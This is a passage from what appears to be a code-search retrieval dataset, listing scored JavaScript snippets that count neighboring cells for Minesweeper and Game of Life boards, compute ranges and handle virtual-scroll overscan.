\"rgba(255,255,255,.4)\";\r\n \tcurrentNumberLocation = {\r\n \t\t'row': parseInt(currentNumberCell.getAttribute('data-row-number')), \r\n \t\t'col': parseInt(currentNumberCell.getAttribute('data-col-number'))\r\n \t};\r\n\r\n \t// set some base cases\r\n \taboveCell = null;\r\n \ttopLeftCell = null;\r\n \ttopRightCell = null;\r\n \tleftCell = null;\r\n \tbelowCell = null;\r\n \tbottomLeftCell = null;\r\n \tbottomRightCell = null;\r\n \trightCell = null;\r\n\r\n \tconnectingMines = 0;\r\n\r\n \t// get row and col of above cell\r\n \tif (currentNumberLocation.row - 1 != '0') {\r\n \t\taboveCell = document.querySelector('[data-row-number=\"'+(currentNumberLocation.row - 1)+'\"][data-col-number=\"'+currentNumberLocation.col+'\"]');\r\n \t\tif (aboveCell.innerHTML == 'X') {\r\n \t\t\tconnectingMines += 1;\r\n \t\t}\r\n \t}\r\n \t// get row and col of below cell\r\n \tif (currentNumberLocation.row + 1 != '21') {\r\n \t\tbelowCell = document.querySelector('[data-row-number=\"'+(currentNumberLocation.row + 1)+'\"][data-col-number=\"'+currentNumberLocation.col+'\"]');\r\n \t\tif (belowCell.innerHTML == 'X') {\r\n \t\t\tconnectingMines += 1;\r\n \t\t}\r\n \t}\r\n \t// get row and col of top left cell\r\n \tif (currentNumberLocation.row - 1 != '0' && currentNumberLocation.col - 1 != '0') {\r\n \t\ttopLeftCell = document.querySelector('[data-row-number=\"'+(currentNumberLocation.row - 1)+'\"][data-col-number=\"'+(currentNumberLocation.col - 1)+'\"]');\r\n \t\tif (topLeftCell.innerHTML == 'X') {\r\n \t\t\tconnectingMines += 1;\r\n \t\t}\r\n \t}\r\n \t// get row and col of top right cell\r\n \tif (currentNumberLocation.row - 1 != '0' && currentNumberLocation.col + 1 != '21') {\r\n \t\ttopRightCell = document.querySelector('[data-row-number=\"'+(currentNumberLocation.row - 1)+'\"][data-col-number=\"'+(currentNumberLocation.col + 1)+'\"]');\r\n \t\tif (topRightCell.innerHTML == 'X') {\r\n \t\t\tconnectingMines += 1;\r\n \t\t}\r\n \t}\r\n \t// get row and col of bottom left cell\r\n \tif (currentNumberLocation.row + 1 != '21' && currentNumberLocation.col - 1 != '0') {\r\n \t\tbottomLeftCell = document.querySelector('[data-row-number=\"'+(currentNumberLocation.row + 1)+'\"][data-col-number=\"'+(currentNumberLocation.col - 1)+'\"]');\r\n \t\tif (bottomLeftCell.innerHTML == 'X') {\r\n \t\t\tconnectingMines += 1;\r\n \t\t}\r\n \t}\r\n \t// get row and col of bottom right cell\r\n \tif (currentNumberLocation.row + 1 != '21' && currentNumberLocation.col + 1 != '21') {\r\n \t\tbottomRightCell = document.querySelector('[data-row-number=\"'+(currentNumberLocation.row + 1)+'\"][data-col-number=\"'+(currentNumberLocation.col + 1)+'\"]');\r\n \t\tif (bottomRightCell.innerHTML == 'X') {\r\n \t\t\tconnectingMines += 1;\r\n \t\t}\r\n \t}\r\n\r\n \t// get left cell\r\n \tif (currentNumberLocation.col - 1 != '0') {\r\n \t\tleftCell = document.querySelector('[data-row-number=\"'+(currentNumberLocation.row)+'\"][data-col-number=\"'+(currentNumberLocation.col - 1)+'\"]');\r\n \t\tif (leftCell.innerHTML == 'X') {\r\n \t\t\tconnectingMines += 1;\r\n \t\t}\r\n \t}\r\n \t// get right cell\r\n \tif (currentNumberLocation.col + 1 != '21') {\r\n \t\trightCell = document.querySelector('[data-row-number=\"'+(currentNumberLocation.row)+'\"][data-col-number=\"'+(currentNumberLocation.col + 1)+'\"]');\r\n \t\tif (rightCell.innerHTML == 'X') {\r\n \t\t\tconnectingMines += 1;\r\n \t\t}\r\n \t}\r\n\r\n \tcurrentNumberCell.innerHTML = connectingMines;\r\n }", "title": "" }, { "docid": "b1fbf5f2b9f2e333258509d7a53e95f7", "score": "0.5223677", "text": "function verifyAround(x, y, nrow, ncol) {\n\tvar count = 0;\n\tfor ( var i = -1; i < 2; i++) {\n\t\tfor ( var j = -1; j < 2; j++) {\n\t\t\tif (notoutoftable(i, j, x, y, ncol, nrow)\n\t\t\t\t\t&& board[x + i][y + j] < -9 && board[x + i][y + j] > -20) {\n\t\t\t\tcount++;\n\t\t\t}\n\t\t}\n\t}\n\treturn count;\n}", "title": "" }, { "docid": "31f7be7b571f4fb1519cc0c63f3eeed9", "score": "0.52220315", "text": "function getNeighborAmount(y, x) {\n // return the sum of occupied offsets\n // these offsets are for every cell \n return [[-1,-1],[-1,0],[-1,1],[0,-1],[0,1],[1,-1],[1,0],[1,1]].reduce((count, offsets) => {\n // add the offsets to the coords of the cell\n let xc = x + offsets[1];\n let yc = y + offsets[0];\n // test that the coords are inside the bounds of grid\n // if not return non increased count\n if(xc < 0 || yc < 0 || xc > input[0].length - 1 || yc > input.length - 1) return count;\n // if the cell has a person, increase count\n if(input[yc][xc] == \"#\") count++;\n // return count\n return count;\n }, 0)\n}", "title": "" }, { "docid": "884b6dc3a0c3672011b4fe961888b246", "score": "0.5220365", "text": "function dontGiveMeFive(start, end) {\r\n let counter = 0;\r\n for(let i = start; i <= end; i++) {\r\n console.log(i);\r\n if(i === 5 || i % 5 === 0 && (i / 5) % 2 !== 0 || i < 60 && i > 49) {\r\n counter += 0;\r\n } else {\r\n\r\n counter++;\r\n }\r\n\r\n }\r\n return counter;\r\n}", "title": "" }, { "docid": "da77c6fc044caf38d40bc6093d9f295b", "score": "0.5216962", "text": "getVirtualScrollAboveCount() {\n let result = 0;\n const { isVirtualScroll, virtualScrollBufferCount } = this;\n\n const virtualScrollStartIndex = this.virtualScrollStartIndex;\n\n if (isVirtualScroll) {\n result = Math.min(\n virtualScrollStartIndex,\n virtualScrollBufferCount,\n );\n }\n return result;\n }", "title": "" }, { "docid": "444dada9c17107de35ce24fa1e20bf17", "score": "0.52113605", "text": "function size_selection(selection) {\n var size = 0;\n for (var [i,j] of selection) {\n // The added small constant is so that empty intervals are also counted.\n // With this, the selection {2-3} will come before {2-2,2-3}.\n // And we add i so that {1-2} will come before {2-3}.\n size += 100 * (j-i) + 1 + i;\n }\n return size;\n}", "title": "" }, { "docid": "d8e6b95b09c8b257ecfb4b20c9950381", "score": "0.5199193", "text": "function insideOf(n, rangeStart, rangeEnd, inclusive) {\n\n}", "title": "" }, { "docid": "c760352eb3629feda8e1d6fd703f8f9c", "score": "0.5188505", "text": "function subrangeDiffOptimized(input) {\n function findSub(start, end, comparator) {\n let list = [];\n let first = last = start;\n for (let i = start+1; i <= end; i++) {\n if (comparator(map[last], map[i]) {\n last = i;\n } else {\n if (last != first) {\n list.push([first, last]);\n }\n first = last = i;\n }\n }\n if (first != last) list.push(first, last);\n return list;\n }\n function findSubComparator(prev, curr) {\n return prev < curr ? true : false;\n }\n function decSubComparator(prev, curr) {\n return prev > curr ? true : false;\n }\n function sumSub(list) {\n let result;\n let diff;\n list.forEach(function(range) {\n diff = range[1] - range[0];\n result += diff*(diff + 1) / 2;\n });\n return result;\n }\n function handleWindowShift(start, end, sumList, comparator) {\n let list = sumList[0];\n let sum = sumList[1];\n if (list.length === 0) {\n let newList = findSub(start+1, end+1, );\n let newSum = sumSub(newList);\n return [newList, newSum];\n }\n let firstSub = list[0];\n let lastSub = list[-1];\n if (firstSub[0] === start) {\n sum -= list[0][1] - list[0][0];\n list[0][0] += 1;\n }\n if (lastSub[1] === end - 1) {\n if (map[end] >= map[end-1]) {\n sum += list[-1][1] - list[-1][0] + 1;\n list[-1][1] += 1;\n }\n } else if (map[end] >= map[end-1]) {\n list.push([end-1, end]);\n sum += 1;\n }\n if (list[0][1] - list[0][0] === 0) list.shift();\n return [list, sum];\n }\n\n }", "title": "" }, { "docid": "7401d9153c0bbc60b5fd56b46009321b", "score": "0.518097", "text": "function countSurroundingMines (cell){\n \n var count = 0;\n var surrounding = lib.getSurroundingCells(cell.row, cell.col)\n\n \nfor(var i = 0; i < surrounding.length; i++){\n \n var cell = surrounding[i];\n \n if(cell.isMine){\n \n count++\n\n}\n\n}\nreturn count;\n}", "title": "" }, { "docid": "94c5614337ff2a451715e1f6650bb0bf", "score": "0.5176764", "text": "function getCount(i, j) {\n var count = 0\n if (i>0 && j>0 && blackcells.includes(grid[i-1][j-1])) count++;\n\tif (i>0 && blackcells.includes(grid[i-1][j])) count++;\n\tif (i>0 && j<grid.length-1 && blackcells.includes(grid[i-1][j+1])) count++;\n\tif (j>0 && blackcells.includes(grid[i][j-1])) count++;\n\tif (j<grid[0].length-1 && blackcells.includes(grid[i][j+1])) count++;\n\tif (i<grid.length-1 && j>0 && blackcells.includes(grid[i+1][j-1])) count++;\n\tif (i<grid.length-1 && blackcells.includes(grid[i+1][j])) count++;\n if (i<grid.length-1 && j<grid[0].length-1 && blackcells.includes(grid[i+1][j+1])) count++;\n\treturn count;\n}", "title": "" }, { "docid": "4a796f1f93196e9b4a4e5246a188530c", "score": "0.5175213", "text": "function printNCount(min,max){\n\nif(min == undefined){\n min = 0;\n}\n\nif(max == undefined){\n max = 5000;\n}\n\n var count = 0;\n\n if(min < max){\n for(var i=min;i<=max;i++){\n if(i%5==0){\n count++;\n console.log(i);\n }\n }\n }\n console.log('there were '+count+' numbers in the range of '+min+' and '+max);\n}", "title": "" }, { "docid": "c5ec9751c13fa77a1e794e2ac4ece673", "score": "0.5165216", "text": "function countSquares(lower, upper) {\n var lowerSquare = Math.ceil(Math.sqrt(lower));\n var upperSquare = Math.floor(Math.sqrt(upper));\n if (lowerSquare > upperSquare) return 0;\n else return upperSquare - lowerSquare + 1;\n}", "title": "" }, { "docid": "b8cc6c430294495630e4e36577a8bb48", "score": "0.5123986", "text": "function outsideOf(n, rangeStart, rangeEnd, inclusive) {\n\n}", "title": "" }, { "docid": "07cf8bfef267fd6072397a36c3d7b745", "score": "0.51217973", "text": "function getRangeOverlap(startA, endA, startB, endB){\n \n try{\n\n //Check if they overlap\n if( !(endA <= startB || startA >= endB) ) {\n\n let w, x, y, z;\n \n w = endA - startA;\n x = endA - startB;\n y = endB - startB;\n z = endB - startA; \n\n return Math.min(w,x,y,x);\n }\n\n // Else return 0\n return 0;\n\n }catch(err){\n throw new Error(err.message);\n }\n\n}", "title": "" }, { "docid": "850e3b6db68a44a791eb9ed22f161933", "score": "0.5115274", "text": "countTransactionsInRanges(ranges) {\n if (ranges.length === 0) {\n return 0;\n } else {\n let count = 1;\n for (let range of ranges) {\n if (range.hasOwnProperty('lastTransaction') && range.hasOwnProperty('firstTransaction')) {\n if (range.lastTransaction !== undefined && range.firstTransaction !== undefined) {\n count += (range.lastTransaction.number - range.firstTransaction.number);\n } else {\n console.log(range)\n return 0;\n }\n } else {\n console.log(range)\n return 0;\n }\n }\n return count;\n }\n }", "title": "" }, { "docid": "18bc471bae356347012a2cd68b08f7e2", "score": "0.5113652", "text": "function range(start, end) {\n // YOUR CODE GOES BELOW HERE //\n // empty array to push integers into \n var arrayResult = [];\n /** If statement to decide which action to take based on which input is bigger.\n This condition is for first parameter being smaller, so will be counting up.*/\n if (start < end) {\n // for loop, start at \"start\" parameter, stop at \"end parameter\", increment\n for (var i = start; i <= end; i++) {\n // Push every iteration of i into the empty array \n arrayResult.push(i);\n }\n /** If statement to decide which action to take based on which input is bigger.\n This condition is for first parameter being bigger, so will be counting down.*/\n } else if (start > end) {\n // For loop, start at \"start\" parameter, stop at \"end' parameter, decrement\n for (var i = start; i >= end; i--) {\n // Push every iteration of i into the empty array \n arrayResult.push(i);\n }\n }\n // Return empty array outside of if statement\n return arrayResult;\n \n // YOUR CODE GOES ABOVE HERE //\n}", "title": "" }, { "docid": "b0760cc0a3e5a5af3dbeeffdcdcb62e2", "score": "0.51030755", "text": "function countSurroundingMines (cell) {\n // console.log(cell)\n var surrounding = lib.getSurroundingCells(cell.row, cell.col)\n let mines = 0 \n for (let i = 0; i < surrounding.length; i++) {\n if (surrounding[i].isMine == true) {\n mines++ \n }\n }\n // console.log(mines)\n return mines\n // console.log(surrounding)\n}", "title": "" }, { "docid": "2dedb31b6b6a744675970fedf39c2a2a", "score": "0.50817305", "text": "function countIntervalsBetweenNearbyPeaks(peaks) {\n var intervalCounts = [];\n peaks.forEach(function(peak, index) {\n for(var i = 0; i < 10; i++) {\n var interval = peaks[index + i] - peak;\n var foundInterval = intervalCounts.some(function(intervalCount) {\n if (intervalCount.interval === interval)\n return intervalCount.count++;\n });\n if (!foundInterval) {\n intervalCounts.push({\n interval: interval,\n count: 1\n });\n }\n }\n });\n return intervalCounts;\n}", "title": "" }, { "docid": "2dedb31b6b6a744675970fedf39c2a2a", "score": "0.50817305", "text": "function countIntervalsBetweenNearbyPeaks(peaks) {\n var intervalCounts = [];\n peaks.forEach(function(peak, index) {\n for(var i = 0; i < 10; i++) {\n var interval = peaks[index + i] - peak;\n var foundInterval = intervalCounts.some(function(intervalCount) {\n if (intervalCount.interval === interval)\n return intervalCount.count++;\n });\n if (!foundInterval) {\n intervalCounts.push({\n interval: interval,\n count: 1\n });\n }\n }\n });\n return intervalCounts;\n}", "title": "" }, { "docid": "7833fb24f993651defb68c2eada1672a", "score": "0.50759554", "text": "function countSurroundingMines (cell) {\n var count = 0; // define count, starts at 0\n var surrounding = lib.getSurroundingCells(cell.row, cell.col) // var surrounding equal to lib.\n\nfor (var i = 0; i < surrounding.length; i++) { // loop through all surrounding mines\n if (surrounding[i].isMine) { // if is mine, count increase + 1\n count++;\n }\n}\nreturn count;\n}", "title": "" }, { "docid": "23dad43e845dbc5b09c19ee488c2895b", "score": "0.50744545", "text": "countLivingNeighbours(grid, x, y) {\r\n // x and y are the i and j of the other loop\r\n let sum = 0;\r\n // let neighboursCount = 0;\r\n for (let i = -1; i < 2; i += 1) {\r\n for (let j = -1; j < 2; j += 1) {\r\n // if we are at the edges, the value would be undefined\r\n // since we are counting living cells, we can count undefined as 0\r\n const value = grid?.[x + i]?.[y + j] ?? 0;\r\n // we exclude current cell (when both indices are at 0)\r\n const isCurrentCell = i === 0 && j === 0;\r\n if (!isCurrentCell) {\r\n // console.log('neighbours cells are', value);\r\n sum += value;\r\n // neighboursCount += 1;\r\n } else {\r\n // console.log('current cell is', value);\r\n }\r\n }\r\n }\r\n // console.log(neighboursCount);\r\n return sum;\r\n }", "title": "" }, { "docid": "ecc0a5bb267d94374484e2f93ea1e28c", "score": "0.50447875", "text": "function integerRange(low, high) {\n let count = 0;\n\n const numberWithoutFive = (n) => {\n n = n.toString().split(\"\");\n if(!n.length) return true;\n \n if(parseInt(n[0]) === 5) return false;\n else {\n return numberWithoutFive(n.slice(1).join(\"\"));\n }\n };\n\n for(let num = low; num < high; num++) {\n if(num !== 5 && numberWithoutFive(num) === true) count++;\n }\n return count;\n}", "title": "" }, { "docid": "740cd2e3156f32a94c07bc8cfefa4af3", "score": "0.50434357", "text": "prevMatchInRange(doc, from, to) {\n for (let pos = to;;) {\n let start = Math.max(from, pos - 10000 /* ChunkSize */ - this.unquoted.length);\n let cursor = this.cursor(doc, start, pos), range = null;\n while (!cursor.nextOverlapping().done)\n range = cursor.value;\n if (range)\n return range;\n if (start == from)\n return null;\n pos -= 10000 /* ChunkSize */;\n }\n }", "title": "" }, { "docid": "dc311dab4cfc642a4d6de4309a2e2bbf", "score": "0.50301623", "text": "function countSurroundingMines(cell) {\n\n //function will get the number of cells surrounding current cell\n\n var surrounding = lib.getSurroundingCells(cell.row, cell.col)\n var count = 0\n for (i = 0; i < surrounding.length; i++) {\n if (surrounding[i].isMine === true) {\n count++\n }\n }\n return count\n}", "title": "" }, { "docid": "7925b8ad9bb609f0c16225890b4888e7", "score": "0.50300515", "text": "function countOverlaps(map) {\n let count = 0;\n for (let row = 0; row < map.length; row++) {\n for (let col = 0; col < map[0].length; col++) {\n if (map[row][col] > 1) {\n count++;\n }\n }\n }\n return count;\n }", "title": "" }, { "docid": "aacea26b3d53cc8c67bddef41cf99967", "score": "0.5024664", "text": "function overLapsWith(icsrStart, icsrEnd, irngStart, irngEnd) {\n\t\treturn !((icsrEnd < irngStart) || (icsrStart > irngEnd));\n\t}", "title": "" }, { "docid": "e5c40542be002faf43e6b1faa5ffa224", "score": "0.5013533", "text": "function characterCount(script) {\n return script.ranges.reduce((count, [from, to]) => {\n return count + (to - from);\n }, 0);\n}", "title": "" }, { "docid": "24cea0cebd9e74a7189e1914b69ea6c9", "score": "0.5011171", "text": "function countSurroundingMines (cell) {\n count = 0;\nvar surroundingCells = getSurroundingCells(cell.row, cell.col);\nfor(var i = 0; i < surroundingCells.length; i++){\n if (surroundingCells[i].isMine === true){\n count++;\n }\n}\nreturn count;\n\n}", "title": "" }, { "docid": "9a72e305f1bd258923571397e952b86f", "score": "0.50085723", "text": "function countSurroundingMines (cell) {\n // var surroundingMines = board.cells.length\n var count = 0\n var surroundingCells = getSurroundingCells(cell.row, cell.col);\n \n for (var i = 0; i < surroundingCells.length; i++){\n if (surroundingCells[i].isMine == true){\n count ++\n }\n }\n return count\n}", "title": "" }, { "docid": "9adbe811eb517b2571499308e4adb0f3", "score": "0.50070775", "text": "static compareRangesUsingStarts(a, b) {\n if (a && b) {\n const aStartLineNumber = a.startLineNumber | 0;\n const bStartLineNumber = b.startLineNumber | 0;\n if (aStartLineNumber === bStartLineNumber) {\n const aStartColumn = a.startColumn | 0;\n const bStartColumn = b.startColumn | 0;\n if (aStartColumn === bStartColumn) {\n const aEndLineNumber = a.endLineNumber | 0;\n const bEndLineNumber = b.endLineNumber | 0;\n if (aEndLineNumber === bEndLineNumber) {\n const aEndColumn = a.endColumn | 0;\n const bEndColumn = b.endColumn | 0;\n return aEndColumn - bEndColumn;\n }\n return aEndLineNumber - bEndLineNumber;\n }\n return aStartColumn - bStartColumn;\n }\n return aStartLineNumber - bStartLineNumber;\n }\n const aExists = (a ? 1 : 0);\n const bExists = (b ? 1 : 0);\n return aExists - bExists;\n }", "title": "" }, { "docid": "fe6fae9a588641919a44de3878acf816", "score": "0.4999285", "text": "function countSurroundingLiveCells(y, x) {\n// TODO: Write code so this function returns the number of live cells that are adjacent to\n// the cell whose coordinates are passed in by function's y and x parameters.\n// This function uses similar algorithmic techniques that you employed to complete the\n// countSurroundingLiveCells in the CGOL with 2D Arrays assignment\n}", "title": "" }, { "docid": "885510c531715b0f33ac031bab0d2844", "score": "0.4987639", "text": "function GetAmountNearAndAssign(y,x){\n\t\n\tvar totalNear=0;\n\t//Three cells above\n\tif(CheckCell(y-1,x-1)) totalNear++;\n\tif(CheckCell(y-1,x)) totalNear++;\n\tif(CheckCell(y-1,x+1)) totalNear++;\n\t//Two next to it\n\tif(CheckCell(y,x-1)) totalNear++;\n\tif(CheckCell(y,x+1)) totalNear++;\n\t//Three cells below\n\tif(CheckCell(y+1,x-1)) totalNear++;\n\tif(CheckCell(y+1,x)) totalNear++;\n\tif(CheckCell(y+1,x+1)) totalNear++;\n\t\n\t/*\n\t\tFrom https://en.wikipedia.org/wiki/Conway%27s_Game_of_Life\n\t\tSituation 1.Any live cell with fewer than two live neighbors dies, as if by under population.\n\t\tSituation 2.Any live cell with two or three live neighbors lives on to the next generation.\n\t\tSituation 3.Any live cell with more than three live neighbors dies, as if by overpopulation.\n\t\tSituation 4.Any dead cell with exactly three live neighbors becomes a live cell, as if by reproduction.\n\t*/\n\t\n\t//Assgin new values to new holder(can't assign to holder as would mess up other cell calculations)\n\tif(holder[y][x]){\n\t\tif(totalNear<2){\n\t\t\t//Situation 1\n\t\t\tnewHolder[y][x] = false;\n\t\t\t$(`td[data-y=${y}][data-x=${x}]`).css(\"background-color\", emptyColor);\n\t\t}else if(totalNear>3){\n\t\t\t//Situation 3\n\t\t\tnewHolder[y][x] = false;\n\t\t\t$(`td[data-y=${y}][data-x=${x}]`).css(\"background-color\", emptyColor);\t\t\t\n\t\t}else{\n\t\t\t//Situation 2\n\t\t\tnewHolder[y][x] = true;\t\n\t\t\t$(`td[data-y=${y}][data-x=${x}]`).css(\"background-color\", fullColor);\t\t\t\n\t\t}\n\t\t\n\t}else{\n\t\tif(totalNear === 3){\n\t\t\t//Situation 4\n\t\t\tnewHolder[y][x] = true;\t\n\t\t\t$(`td[data-y=${y}][data-x=${x}]`).css(\"background-color\", fullColor);\t\t\n\t\t}\n\t}\t\n\t\n}", "title": "" }, { "docid": "a6c171f4266361d3f5a69f024b98b42a", "score": "0.49771896", "text": "function defaultOverscanIndicesGetter(_ref) {\n var cellCount = _ref.cellCount,\n overscanCellsCount = _ref.overscanCellsCount,\n scrollDirection = _ref.scrollDirection,\n startIndex = _ref.startIndex,\n stopIndex = _ref.stopIndex;\n\n // Make sure we render at least 1 cell extra before and after (except near boundaries)\n // This is necessary in order to support keyboard navigation (TAB/SHIFT+TAB) in some cases\n // For more info see issues #625\n overscanCellsCount = Math.max(1, overscanCellsCount);\n\n if (scrollDirection === SCROLL_DIRECTION_FORWARD) {\n return {\n overscanStartIndex: Math.max(0, startIndex - 1),\n overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)\n };\n } else {\n return {\n overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),\n overscanStopIndex: Math.min(cellCount - 1, stopIndex + 1)\n };\n }\n}", "title": "" }, { "docid": "a6c171f4266361d3f5a69f024b98b42a", "score": "0.49771896", "text": "function defaultOverscanIndicesGetter(_ref) {\n var cellCount = _ref.cellCount,\n overscanCellsCount = _ref.overscanCellsCount,\n scrollDirection = _ref.scrollDirection,\n startIndex = _ref.startIndex,\n stopIndex = _ref.stopIndex;\n\n // Make sure we render at least 1 cell extra before and after (except near boundaries)\n // This is necessary in order to support keyboard navigation (TAB/SHIFT+TAB) in some cases\n // For more info see issues #625\n overscanCellsCount = Math.max(1, overscanCellsCount);\n\n if (scrollDirection === SCROLL_DIRECTION_FORWARD) {\n return {\n overscanStartIndex: Math.max(0, startIndex - 1),\n overscanStopIndex: Math.min(cellCount - 1, stopIndex + overscanCellsCount)\n };\n } else {\n return {\n overscanStartIndex: Math.max(0, startIndex - overscanCellsCount),\n overscanStopIndex: Math.min(cellCount - 1, stopIndex + 1)\n };\n }\n}", "title": "" }, { "docid": "27d2ee7c5a561d48edb566658590584a", "score": "0.49518025", "text": "function integerRange(low, high) {\n let nums = [];\n let count = 0;\n for (let i = low; i < high; i++) {\n nums.push(i);\n }\n\n for (let i = 0; i < nums.length; i++) {\n let stringified = nums[i].toString();\n if (!stringified.includes(\"5\" || \"-5\")) {\n count++;\n }\n }\n return count;\n}", "title": "" }, { "docid": "8472021773ae50869ad83de8e76ea52c", "score": "0.4948632", "text": "function checkLifeForEachCell (cell,process) {\n\tvar counter = 0;\n\tvar rowNo = cell.rowNo;\n\tvar colNo = cell.colNo;\n\tcounter += checkForNeighbourLife(rowNo-1,colNo-1,process);\n\tcounter += checkForNeighbourLife(rowNo,colNo-1,process);\n\tcounter += checkForNeighbourLife(rowNo+1,colNo-1,process);\n\tcounter += checkForNeighbourLife(rowNo-1,colNo,process);\n\tcounter += checkForNeighbourLife(rowNo+1,colNo,process);\n\tcounter += checkForNeighbourLife(rowNo-1,colNo+1,process);\n\tcounter += checkForNeighbourLife(rowNo,colNo+1,process);\n\tcounter += checkForNeighbourLife(rowNo+1,colNo+1,process);\n\treturn counter;\n}", "title": "" }, { "docid": "c6646b0fbd01360878d30f8f7e8dfbfc", "score": "0.49397597", "text": "function getNumInRange(location, ignoreNdx) {\n let inRange = 0;\n\n for (let nanoNdx in data) {\n let nano = data[nanoNdx];\n\n if (nanoNdx === ignoreNdx) {\n continue;\n }\n\n if (getManhattanDistance(location, nano.pos) <= nano.r) {\n inRange++;\n }\n }\n\n return inRange;\n}", "title": "" }, { "docid": "19e2fd9fe402ef284653b6ce112c75a5", "score": "0.49215096", "text": "count(offsetX, offsetY, clientWidth) {\n return Math.ceil(clientWidth / width);\n }", "title": "" }, { "docid": "59cacd4c0dd365651f790b3b9f0e5207", "score": "0.4918417", "text": "inRange(number, start, end){\n if (end === undefined){\n end = start\n start = 0\n }\n \n if (start > end){\n let temp = end\n end = start\n start = temp\n }\n let isInRange = start <= number && number < end\n return isInRange;\n // Task 10: test inRange methode.\n }", "title": "" }, { "docid": "4ed90b333651db0a012ae474b247b7de", "score": "0.49158219", "text": "function count_configurations(a, b, c, n) {\n var cnt = 0;\n\n for (var i = 0; i <= a; i++) {\n for (var j = 0; j <= Math.min(b, n - i); j++) {\n var reminder = n - i - j;\n if (reminder >= 0 && reminder <= c) {\n cnt++;\n }\n }\n }\n console.log(cnt);\n}", "title": "" }, { "docid": "1f07f0d6c8d5f77702ef0969bfa29b72", "score": "0.49145594", "text": "function ways_to_jump(width_of_river) {\n let remainder = width_of_river % 2\n let count = 1 // every width of the river guarantees a series of 1m jumps\n let max_2m_jumps = Math.trunc(width_of_river / 2)\n\n if (width_of_river === 1) {\n count // no stones to jump through\n } else if (max_2m_jumps > 3) {\n if (remainder === 0) {\n count += (max_2m_jumps + 2) // series of complete 2m jumps\n } else {\n count += (max_2m_jumps + 1) // series of alternating 2m and 1m hops to complete the distance\n }\n } else {\n count += max_2m_jumps\n }\n\n console.log(`There are ${count} ways to jump over the river`)\n return count\n}", "title": "" }, { "docid": "6eb19b4fcd6182db4f4aff7f23043e6a", "score": "0.49045885", "text": "function countPoints(a, b) {\n return (10 - Math.round(10 * (b - a - 500) / 2000));\n}", "title": "" }, { "docid": "cfbe35fad70d6ca2e2a76b9a91b9a098", "score": "0.4894418", "text": "function rangeBetween(start, end) {\n\n}", "title": "" }, { "docid": "beb3e79be367585d1316ef132203aa8b", "score": "0.48900503", "text": "function isEndPrimary(){\n let countTop = 0 \n for(let i = 0; i <= x; i++){\n if(x-i <0 || y-i<0){\n break\n }\n if(chessboard[y-i][x-i].value === cell.type){\n countTop++\n }\n else{\n break\n }\n }\n console.log(countTop)\n let countBottom = 0\n for(let i = 1; i <= 10 - x; i++){\n if(x + i >= 10 || y + i >= 10){\n break\n }\n if(chessboard[y + i][x + i].value === cell.type){\n countBottom++\n }\n else{\n break\n }\n }\n console.log(countBottom )\n if(countBottom + countTop === 5){\n return false\n }\n return true\n\n }", "title": "" }, { "docid": "035b0a914ba884a898218f594a471e92", "score": "0.4888843", "text": "function integRectNEnd(func, xbeg, xend, N) {\n\tvar dx = (xend - xbeg) / N;\n\tvar A = 0;\n\tvar x = xbeg + dx;\n\tfor(var i = 0; i < N;i ++) {\n\t\tvar Ai = func(x) * dx;\n\t\tA += Ai;\n\t\tx += dx;\n\t}\n\treturn A;\n}", "title": "" }, { "docid": "fb9dbffb6b5a472604d60829846fdb5f", "score": "0.48760557", "text": "function numAbove(arr, Y) {\n var acc = 0;\n for (var i=0; i<arr.length; i++) {\n if (arr[i]>Y) {\n acc++;\n }\n }\n console.log(acc);\n}", "title": "" }, { "docid": "8ec8d01af7c03ccb1637ae097abe3e4e", "score": "0.48724875", "text": "function calcLivingNeighbors(row, col)\n{\n var numLivingNeighbors = 0;\n\n // DEPENDING ON THE TYPE OF CELL IT IS WE'LL CHECK\n // DIFFERENT ADJACENT CELLS\n var cellType = determineCellType(row, col);\n var cellsToCheck = cellLookup[cellType];\n for (var counter = 0; counter < (cellsToCheck.numNeighbors * 2); counter+=2)\n {\n var neighborCol = col + cellsToCheck.cellValues[counter];\n var neighborRow = row + cellsToCheck.cellValues[counter+1];\n var index = (neighborRow * gridWidth) + neighborCol;\n var neighborValue = updateGrid[index];\n\n //if the neighbor is void... treat it as dead\n if(neighborValue === 3){\n neighborValue = 0;\n }\n\n numLivingNeighbors += neighborValue;\n }\n return numLivingNeighbors;\n}", "title": "" }, { "docid": "51f6d2362f6864c12c5d2807ffe1bb4e", "score": "0.48722762", "text": "getVirtualScrollBelowCount() {\n let result = 0;\n\n const { isVirtualScroll, tableData, virtualScrollBufferCount } =\n this;\n\n const virtualScrollEndIndex = this.virtualScrollEndIndex;\n\n if (isVirtualScroll) {\n result = Math.min(\n tableData.length - virtualScrollEndIndex,\n virtualScrollBufferCount,\n );\n }\n\n return result;\n }", "title": "" }, { "docid": "7f9383ace5153acc34e125c294969ee0", "score": "0.4870109", "text": "function countApplesAndOranges(s, t, a, b, apples, oranges) {\n // s: integer, starting point of Sam's house location.\n // 7\n // t: integer, ending location of Sam's house location.\n // 11\n // a: integer, location of the Apple tree.\n // 5\n // b: integer, location of the Orange tree.\n // 15\n // apples: integer array, distances at which each apple falls from the tree. -2 2 1\n // oranges: integer array, distances at which each orange falls from the tree.5 -6\n let appleCount = 0;\n let orangeCount = 0;\n for (let i = 0; i < apples.length; i += 1) {\n if (apples[i] + a >= s && apples[i] + a <= t) {\n appleCount++;\n }\n }\n for (let i = 0; i < oranges.length; i += 1) {\n if (oranges[i] + b >= s && oranges[i] + b <= t) {\n orangeCount++;\n }\n }\n console.log(appleCount);\n console.log(orangeCount);\n}", "title": "" }, { "docid": "ae5186f3f26cc3832b3fdeeadb7d2d52", "score": "0.48648605", "text": "function above(i) { return i - gridSize }", "title": "" }, { "docid": "23a20597620a9b9c7e6aac75b5dc1af6", "score": "0.48622602", "text": "function defaultOverscanIndicesGetter(_ref) {\n var direction = _ref.direction,\n cellCount = _ref.cellCount,\n overscanCellsCount = _ref.overscanCellsCount,\n scrollDirection = _ref.scrollDirection,\n startIndex = _ref.startIndex,\n stopIndex = _ref.stopIndex;\n\n var overscanStartIndex = void 0;\n var overscanStopIndex = void 0;\n\n switch (scrollDirection) {\n case SCROLL_DIRECTION_FORWARD:\n overscanStartIndex = startIndex;\n overscanStopIndex = stopIndex + overscanCellsCount;\n break;\n case SCROLL_DIRECTION_BACKWARD:\n overscanStartIndex = startIndex - overscanCellsCount;\n overscanStopIndex = stopIndex;\n break;\n }\n\n return {\n overscanStartIndex: Math.max(0, overscanStartIndex),\n overscanStopIndex: Math.min(cellCount - 1, overscanStopIndex)\n };\n}", "title": "" }, { "docid": 